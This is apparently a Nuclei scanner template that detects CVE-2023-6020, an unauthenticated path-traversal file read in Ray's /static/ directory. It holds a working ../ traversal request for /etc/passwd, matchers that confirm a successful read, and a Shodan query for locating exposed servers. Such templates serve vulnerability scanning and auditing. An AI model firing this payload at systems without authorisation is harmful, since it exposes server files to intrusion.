nuclei-templates/http/cves/2023/CVE-2023-6020.yaml

50 lines
1.4 KiB
YAML

id: CVE-2023-6020
info:
name: Ray Static File - Local File Inclusion
author: byt3bl33d3r
severity: high
description: |
LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.
reference:
- https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6020
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6020
cwe-id: CWE-862,CWE-598
epss-score: 0.04998
epss-percentile: 0.92059
cpe: cpe:2.3:a:ray_project:ray:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ray_project
product: ray
shodan-query: http.favicon.hash:463802404
tags: cve,cve2023,lfi,ray,oos
http:
- method: GET
path:
- "{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "application/octet-stream"
- "aiohttp"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022010173798fe1b7407b10f43a081ed8f0324247d1e0d01506a86c31799e1c5a23c022100b26555827810322fcedef112a35be5f693a227061836497a2e40029e5df2819e:922c64590222798bb761d5b6d8e72950